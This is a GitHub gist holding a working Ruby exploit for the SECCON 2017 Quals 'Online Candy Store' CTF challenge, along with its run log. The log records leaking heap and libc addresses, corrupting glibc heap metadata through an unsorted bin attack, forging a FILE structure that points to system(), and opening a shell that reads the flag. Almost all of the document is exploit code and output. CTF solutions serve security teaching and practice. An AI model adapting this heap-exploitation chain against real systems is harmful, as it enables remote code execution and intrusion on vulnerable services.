Skip to content

Instantly share code, notes, and snippets.

@Charo-IT
Last active December 12, 2017 02:20
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Charo-IT/aae574aef2145d454e196a9842cad4b5 to your computer and use it in GitHub Desktop.
Save Charo-IT/aae574aef2145d454e196a9842cad4b5 to your computer and use it in GitHub Desktop.
SECCON 2017 Quals - Online Candy Store
$ ruby online_candy_store.rb r
[*] connected
[*] leak heap base
heap base = 0x208e000
[*] reset heap
[*] create accounts
[*] delete accounts
[*] leak libc base
libc base = 0x7f297080e000
[*] create pad chunks and victim chunk
[*] order candies
[*] change orders
[*] force malloc_consolidate
[*] change orders
[*] force malloc_consolidate
[*] overwrite chunksize
[*] send fake FILE, overwrite chunks
[*] overwrite stdin->_chain via unsorted bin attack
[*] launch shell
[*] interactive mode
*** Error in `./Lazenca.0x0': malloc(): memory corruption: 0x00007f2970bd2948 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f29708857e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7f297089013e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f2970892184]
./Lazenca.0x0[0x401dd2]
./Lazenca.0x0[0x4028bf]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f297082e830]
./Lazenca.0x0[0x400989]
======= Memory map: ========
pwd
/
ls -la
total 48
drwxr-xr-x 6 1003 1003 4096 Nov 27 09:45 .
drwxr-xr-x 6 1003 1003 4096 Nov 27 09:45 ..
drwx------ 2 1003 1003 4096 Nov 27 09:23 .cache
-rwxrwxr-x 1 1003 1003 18744 Nov 27 09:44 Lazenca.0x0
drwxr-xr-x 2 0 1003 4096 Nov 27 09:45 bin
-rw-r--r-- 1 0 0 73 Nov 27 07:21 flag.txt
drwxr-xr-x 19 0 0 4096 Sep 26 07:32 lib
drwxr-xr-x 2 0 0 4096 Sep 26 07:30 lib64
cat flag.txt
SECCON{Y0u h4ve 4cquired the "H0use 0f L0re" techn0l0gy. by Lazenca.0x0}
exit
#coding:ascii-8bit
require "pwnlib"
remote = ARGV[0] == "r"
if remote
host = "lazenca0x0.pwn.seccon.jp"
port = 9999
libc_offset = {
"main_arena" => 0x3c4b20,
"_IO_2_1_stdin_" => 0x3c48e0,
"system" => 0x45390
}
else
host = "localhost"
port = 54321
libc_offset = {
"main_arena" => 0x3c4b20,
"_IO_2_1_stdin_" => 0x3c48e0,
"system" => 0x45390
}
end
class PwnTube
def recv_until_prompt
recv_until("Command : ")
end
end
def tube
@tube
end
def login(id, pass)
tube.recv_until("> ")
tube.send(id)
tube.recv_until("> ")
tube.send(pass)
end
def create_account(id, pass, profile)
login("114514", "114514")
tube.recv_until("No\n")
tube.send("0\0")
tube.recv_until("Enter your New ID.\n")
tube.send(id.ljust(8, "\0"))
tube.recv_until("Enter your New Password.\n")
tube.send(pass.ljust(8, "\0"))
tube.recv_until("Enter your profile.\n")
tube.send(profile)
end
def show_stock
tube.recv_until_prompt
tube.send("1\0")
end
def purchase(index, amount, comment = nil)
tube.recv_until_prompt
tube.send("2\0")
tube.recv_until("purchased.\n")
tube.send("#{index}\0")
tube.recv_until("purchase.\n")
tube.send("#{amount}\0")
if !comment.nil?
tube.recv_until("candy.\n")
tube.send(comment)
end
end
def charge(amount)
tube.recv_until_prompt
tube.send("3\0")
tube.recv_until("charge.\n")
tube.send("#{amount}\0")
end
def to_order_menu
tube.recv_until_prompt
tube.send("4\0")
end
def to_account_menu
tube.recv_until_prompt
tube.send("5\0")
end
def logout
tube.recv_until_prompt
tube.send("9\0")
tube.recv_until("No\n")
tube.send("0\0")
end
def show_order_list
tube.recv_until_prompt
tube.send("1\0")
end
def add_order(index)
tube.recv_until_prompt
tube.send("2\0")
tube.recv_until(">")
tube.send("#{index}\0")
end
def cancel_order(index)
tube.recv_until_prompt
tube.send("3\0")
sleep(0.2)
tube.send("#{index}\0")
end
def order_candy
tube.recv_until_prompt
tube.send("4\0")
tube.recv_until("candies?\n")
tube.send("0\0")
end
def register_candy(price, description)
tube.recv_until("Enter the price")
tube.send("#{price}\0")
tube.recv_until("Enter a description")
tube.send(description)
end
def quit_order_menu
tube.recv_until_prompt
tube.send("5\0")
end
def delete_account(index)
tube.recv_until_prompt
tube.send("1\0")
tube.recv_until("delete\n")
tube.send("#{index}\0")
end
def change_password(index, pass)
tube.recv_until_prompt
tube.send("2\0")
tube.recv_until("PW\n")
tube.send("#{index}\0")
tube.recv_until("Enter your New Password.\n")
tube.send(pass)
end
def quit_account_menu
tube.recv_until_prompt
tube.send("3\0")
end
PwnTube.open(host, port){|t|
@tube = t
puts "[*] leak heap base"
login("Admin", "admin")
to_order_menu
add_order(0)
add_order(0)
cancel_order(0)
cancel_order(0)
quit_order_menu
logout
create_account("AAAA", "AAAA", "AAAAAAAA")
login("Admin", "admin")
to_account_menu
delete_account(2)
quit_account_menu
to_order_menu
add_order(0)
add_order(0)
tube.recv_until("Order code")
heap_base = (tube.recv_capture(/Order code : (.{3,4})\n/m)[0].ljust(8, "\0").unpack("Q")[0] & ~0xff) - 0x1100
puts "heap base = 0x%x" % heap_base
puts "[*] reset heap"
cancel_order(0)
cancel_order(0)
quit_order_menu
logout
create_account("AAAA", "AAAA", "AAAAAAAA")
login("Admin", "admin")
to_account_menu
delete_account(2)
puts "[*] create accounts"
quit_account_menu
logout
create_account("AAAA", "AAAA", "AAAAAAAA")
create_account("BBBB", "BBBB", "BBBBBBBB")
puts "[*] delete accounts"
login("Admin", "admin")
to_account_menu
delete_account(2)
delete_account(3)
quit_account_menu
puts "[*] leak libc base"
to_order_menu
add_order(0)
libc_base = (tube.recv_capture(/Order code : (.{6})\n/m)[0].ljust(8, "\0").unpack("Q")[0] & ~0xff) - (libc_offset["main_arena"] & ~0xff)
puts "libc base = 0x%x" % libc_base
puts "[*] create pad chunks and victim chunk"
9.times{|i|
add_order(i % 3)
}
puts "[*] order candies"
order_candy
register_candy(0, "CCCCCCCC")
register_candy(0, "DDDDDDDD")
register_candy(0, "EEEEEEEE")
puts "[*] change orders"
9.times{
add_order(0)
}
cancel_order(8)
cancel_order(7)
puts "[*] force malloc_consolidate"
quit_order_menu
logout
create_account("AAAA", "AAAA", "AAAAAAAA")
login("Admin", "admin")
to_account_menu
delete_account(2)
puts "[*] change orders"
quit_account_menu
to_order_menu
cancel_order(5)
puts "[*] force malloc_consolidate"
quit_order_menu
logout
create_account("AAAA", "AAAA", "AAAAAAAA")
login("Admin", "admin")
to_account_menu
delete_account(2)
puts "[*] overwrite chunksize"
change_password(3, [0x4c0].pack("Q"))
puts "[*] send fake FILE, overwrite chunks"
quit_account_menu
payload = ""
payload << "\0" * 0x30
payload << "/bin/sh".ljust(8, "\0")
payload << [0x61].pack("Q")
payload << [0].pack("Q") * 2
payload << [0, 1].pack("Q*")
payload << [0].pack("Q") * 6
payload << [0x60, 0x20].pack("Q*")
payload << "Red".ljust(8, "\0")
payload << [0x28].pack("Q")
payload << [heap_base + 0x1350].pack("Q")
payload << [0x91].pack("Q")
payload << "\0" * 0x48
payload << [heap_base + 0x13a0 - 0x18].pack("Q")
payload << [libc_base + libc_offset["system"]].pack("Q")
payload << [0].pack("Q") * 6
payload << [0xa1].pack("Q")
payload << [libc_base + libc_offset["main_arena"] + 0x58].pack("Q")
payload << [libc_base + libc_offset["_IO_2_1_stdin_"] + 0x68 - 0x10].pack("Q")
purchase(1, 30, payload)
puts "[*] overwrite stdin->_chain via unsorted bin attack"
logout
login("114514", "114514")
tube.recv_until("No\n")
tube.send("0")
puts "[*] launch shell"
tube.interactive
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment